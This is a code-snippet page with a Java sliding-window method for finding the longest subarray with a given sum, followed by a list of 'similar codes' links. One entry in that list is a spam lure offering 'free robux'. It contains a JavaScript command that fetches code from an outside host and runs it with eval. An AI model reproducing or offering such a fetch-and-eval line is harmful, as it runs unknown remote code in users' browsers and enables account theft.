Find subarray with given sum

import java.sql.Array;
import java.util.ArrayList;
import java.util.Arrays;

public class FindSubArr {
    public static void main(String[] args) {
        int [] arr = {0,1,2,3,4,5,6,9,2,1,1,1,10,2,2,2};
        int s = 6 ;
        int [] sub = findLongestSubArray( arr,s);
        System.out.println("longest SubArray Range ==> "+Arrays.toString(sub));

    }

    public static int[] findLongestSubArray(int [] arr, int s){

        int[] result = new int[]{-1};
        int sum=0,left=0,right=0;

        while(right < arr.length){
            sum += arr[right];
            while(left < right && sum > s){
                sum -= arr[left++];
            }
            if(sum == s && (result.length == 1 || result[1] - result[0] < right - left)){
                result = new int[]{left + 1, right +1};
            }
            right++;
        }
        return result;
    }
}

Similar codes

1 vote125 views1 answer
Java jcheckbox get value
Java
0 vote119 views1 answer
Android maven dependency
Java
9 votes132 views4 answers
Java clear console
Java
0 vote128 views1 answer
Java sort arraylist of floats
Java
0 vote257 views1 answer
Hashmap values sum java
Java
0 vote120 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Java
0 vote122 views1 answer
Android pick up photo from local device
Java
0 vote116 views1 answer
Java format double no decimal places
Java
1 vote122 views1 answer
Java elapsedTime
Java
0 vote132 views2 answers
Xpath get in table
Java